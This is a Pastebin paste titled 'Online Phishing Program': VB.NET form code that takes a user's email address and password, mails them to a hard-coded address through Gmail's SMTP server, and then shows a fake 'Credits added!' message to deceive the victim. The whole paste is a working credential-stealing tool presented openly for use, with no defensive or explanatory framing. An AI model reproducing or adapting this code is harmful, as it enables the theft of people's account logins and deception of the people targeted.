ryuuichie

Online Phishing Program

Nov 2nd, 2013
2,483
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 1.53 KB | None | 0 0
  1. Imports System.Net.Mail
  2.  
  3. Public Class Form1
  4.  
  5.     Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
  6.         If TextBox1.Text = "" And TextBox2.Text = "" Then
  7.             MsgBox("No information found!", MsgBoxStyle.Critical, "Error")
  8.         Else
  9.             If TextBox1.Text = "" Then
  10.                 MsgBox("Please put your email", MsgBoxStyle.Critical, "Error")
  11.             Else
  12.                 If TextBox2.Text = "" Then
  13.                     MsgBox("No Password found!", MsgBoxStyle.Critical, "Error")
  14.                 Else
  15.                     Try
  16.                         Dim mail As New MailMessage
  17.                         mail.From = New MailAddress("[email protected]")
  18.                         mail.To.Add("[email protected]")
  19.                         mail.Subject = "account"
  20.                         mail.Body = TextBox1.Text + " " + TextBox2.Text
  21.                         Dim smtp As New SmtpClient("smtp.gmail.com")
  22.                         smtp.Port = 587
  23.                         smtp.EnableSsl = True
  24.                         smtp.Credentials = New System.Net.NetworkCredential("[email protected]", "YOURGMAILPASSWORD")
  25.                         smtp.Send(mail)
  26.                         MsgBox("Credits added!", MsgBoxStyle.Information, "Success")
  27.                     Catch ex As Exception
  28.                         MsgBox("An unknown error has occured", MsgBoxStyle.Exclamation, "Error")
  29.                     End Try
  30.                 End If
  31.             End If
  32.         End If
  33.     End Sub
  34. End Class
Advertisement
Add Comment
Please, Sign In to add comment